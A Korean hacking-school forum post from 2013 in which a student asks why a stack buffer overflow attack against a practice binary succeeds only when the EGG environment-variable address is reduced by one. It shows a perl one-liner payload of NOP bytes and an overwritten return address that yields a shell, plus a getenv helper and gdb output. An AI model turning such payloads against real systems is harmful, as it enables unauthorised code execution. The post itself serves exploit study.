|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1678 [복사]
제가 궁금한건 getenv EGG로 알아낸 EGG환경 변수의 주소를 그대로 썼을 땐 세그폴이 발생하고
getenv EGG로 알아낸 EGG환경 변수의 주소에서 -1을 한 주소를 썼을 땐 세그폴이 발생하지않고 공격이 성공했습니다.
왜 이런 건지 설명해주시면 정말 감사하겠습니다.
[student@BOF student]$ ./getenv EGG
0xbffffea8
[student@BOF student]$ ./vv `perl -e print'"\x90"x8,"\xa8\xfe\xff\xbf"'` Segmentation fault (core dumped)
[student@BOF student]$ ./vv `perl -e print'"\x90"x8,"\xa7\xfe\xff\xbf"'`
bash$
gdb로 0xbffffea8과 0xbffffea7주소에 먼가 있는지 봤지만 잘 모르겠습니다..
(gdb) x/s 0xbffffea8
0xbffffea8: "1;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;3"...
(gdb) x/s 0xbffffea7
0xbffffea7: "01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;"...
-getenv.c-
int main(int argc,char *argv[])
{
printf("%x\n",getenv(argv[1]));
}
|
Hit : 4410 Date : 2013/05/26 06:50
|